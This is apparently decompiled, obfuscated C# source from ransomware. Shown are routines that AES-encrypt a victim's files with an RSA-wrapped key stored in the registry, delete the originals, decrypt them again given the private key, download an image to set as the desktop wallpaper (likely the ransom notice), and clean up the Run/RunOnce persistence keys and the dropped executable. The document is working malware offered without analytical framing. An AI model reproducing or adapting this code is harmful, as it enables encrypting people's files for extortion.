public void method_11(string string_7) { string text = this.method_9(53, ""); string text2 = Delegate88.smethod_0("HKEY_CURRENT_USER\\Software\\", this.string_3, "\\Keys"); string text3 = Delegate125.smethod_0(Delegate120.smethod_0(Environment.SpecialFolder.ApplicationData), "\\", this.string_3, ".img"); try { WebRequest object_ = Delegate155.smethod_0(Delegate124.smethod_0(string_7, text)); Delegate157.smethod_0(object_, Delegate156.smethod_0()); HttpWebResponse object_2 = (HttpWebResponse)Delegate158.smethod_0(object_); BinaryReader object_3 = Delegate31.smethod_0(Delegate159.smethod_0(object_2)); byte[] array = Delegate176.smethod_0(object_3, 10485760); using (FileStream fileStream = Delegate32.smethod_0(text3, FileMode.Create)) { Delegate177.smethod_0(fileStream, array, 0, array.Length); } byte[] object_4 = Delegate146.smethod_1(text3); Delegate127.smethod_0(text2, "Wallpaper", object_4, RegistryValueKind.Binary); Delegate178.smethod_0(object_3); Delegate163.smethod_0(object_2); Delegate100.smethod_1(text3); Delegate104.smethod_0(this.int_1); } catch (WebException) { } }
public void method_18(string string_7) { string text = Delegate124.smethod_0(Class3.smethod_0 <string>(1039446687u, 331866531155298722uL), this.string_3); string text2 = Delegate124.smethod_0(text, "\\Keys"); Delegate124.smethod_0(text, "\\Files"); string text3 = Delegate124.smethod_0(string_7, ".tmp"); Delegate24.smethod_0(); Delegate189.smethod_0(true); RSACryptoServiceProvider object_ = Delegate33.smethod_0(); string text4 = (string)Delegate169.smethod_0(text2, "Private", "No Private Key was found!"); if (Delegate98.smethod_0(text4, "")) { Delegate164.smethod_0(object_, text4); byte[] byte_ = new byte[344]; FileStream object_2 = Delegate35.smethod_0(string_7, FileMode.Open, FileAccess.Read); Delegate187.smethod_0(object_2, -344L, SeekOrigin.End); Delegate190.smethod_0(object_2, byte_, 0, 344); string text5 = Delegate191.smethod_0(Delegate166.smethod_0(), byte_); byte[] byte_2 = Delegate146.smethod_0(text5); byte[] array = Delegate168.smethod_1(object_, byte_2, false); Delegate153.smethod_1(array); Delegate162.smethod_0(object_2); FileStream object_3 = Delegate35.smethod_0(string_7, FileMode.Open, FileAccess.ReadWrite); Delegate193.smethod_0(object_3, Delegate192.smethod_0(object_3) - 344L); Delegate162.smethod_0(object_3); using (FileStream fileStream = Delegate32.smethod_0(text3, FileMode.Create)) { using (AesManaged aesManaged = Delegate36.smethod_0()) { using (CryptoStream cryptoStream = Delegate26.smethod_0(fileStream, Delegate149.smethod_1(aesManaged, array, array), CryptoStreamMode.Write)) { using (FileStream fileStream2 = Delegate32.smethod_0(string_7, FileMode.Open)) { Delegate183.smethod_0(aesManaged, 256); Delegate183.smethod_1(aesManaged, 128); int num; while ((num = Delegate185.smethod_0(fileStream2)) != -1) { Delegate184.smethod_0(cryptoStream, (byte)num); } } } } } Delegate100.smethod_1(string_7); Delegate130.smethod_1(text3, string_7); } }
public void method_17(string string_7) { string text = Delegate124.smethod_0(Class5.smethod_0 <string>(99835095u, 15038730591190274483uL), this.string_3); string text2 = Delegate124.smethod_0(text, "\\Keys"); string text3 = Delegate124.smethod_0(text, "\\Files"); string text4 = Delegate124.smethod_0(string_7, ".tmp"); AesCryptoServiceProvider object_ = Delegate24.smethod_0(); RSACryptoServiceProvider object_2 = Delegate33.smethod_0(); string text5 = (string)Delegate169.smethod_0(text2, "Public", "No Public Key was found!"); if (Delegate98.smethod_0(text5, "")) { Delegate164.smethod_0(object_2, text5); byte[] byte_ = Delegate168.smethod_0(object_2, Delegate148.smethod_0(object_), false); string object_3 = Delegate153.smethod_1(byte_); using (FileStream fileStream = Delegate32.smethod_0(text4, FileMode.Create)) { using (AesCryptoServiceProvider aesCryptoServiceProvider = Delegate24.smethod_0()) { using (CryptoStream cryptoStream = Delegate26.smethod_0(fileStream, Delegate149.smethod_0(aesCryptoServiceProvider, Delegate148.smethod_0(object_), Delegate148.smethod_0(object_)), CryptoStreamMode.Write)) { using (FileStream fileStream2 = Delegate32.smethod_0(string_7, FileMode.Open)) { Delegate183.smethod_0(aesCryptoServiceProvider, 256); Delegate183.smethod_1(aesCryptoServiceProvider, 128); int num; while ((num = Delegate185.smethod_0(fileStream2)) != -1) { Delegate184.smethod_0(cryptoStream, (byte)num); } } } } } StreamWriter object_4 = Delegate34.smethod_0(text4, true); Delegate187.smethod_0(Delegate186.smethod_0(object_4), 0L, SeekOrigin.End); Delegate150.smethod_0(object_4, object_3); Delegate188.smethod_0(object_4); Delegate127.smethod_0(text3, string_7, Delegate96.smethod_0(object_3), RegistryValueKind.DWord); Delegate100.smethod_1(string_7); Delegate130.smethod_1(text4, string_7); } }
public void method_24() { string text = Delegate120.smethod_0(Environment.SpecialFolder.ApplicationData); string string_ = Delegate125.smethod_0(text, "\\", this.string_3, ".exe"); string text2 = Delegate125.smethod_0(text, "\\", this.string_3, ".bmp"); string text3 = Delegate124.smethod_0("/F /IM ", Delegate123.smethod_1(Delegate122.smethod_0(Delegate121.smethod_0()))); RegistryKey registryKey = Delegate173.smethod_0(Registry.CurrentUser, "Software", true); RegistryKey registryKey2 = Delegate173.smethod_0(Registry.CurrentUser, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); RegistryKey registryKey3 = Delegate173.smethod_0(Registry.CurrentUser, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", true); if (registryKey2 != null) { Delegate198.smethod_0(registryKey2, this.string_3); } if (registryKey3 != null) { Delegate198.smethod_0(registryKey3, Delegate124.smethod_0("*", this.string_3)); } if (registryKey != null) { Delegate198.smethod_1(registryKey, this.string_3); } if (Delegate129.smethod_1(string_)) { Delegate128.smethod_0(string_, FileAttributes.Hidden); GClass0.MoveFileEx(string_, null, 4); try { Delegate100.smethod_1(text2); } catch (Exception) { } } ProcessStartInfo processStartInfo = Delegate21.smethod_0(); Delegate132.smethod_0(processStartInfo, false); Delegate132.smethod_1(processStartInfo, true); Delegate131.smethod_0(processStartInfo, "taskkill"); Delegate131.smethod_1(processStartInfo, text3); Delegate133.smethod_0(processStartInfo); }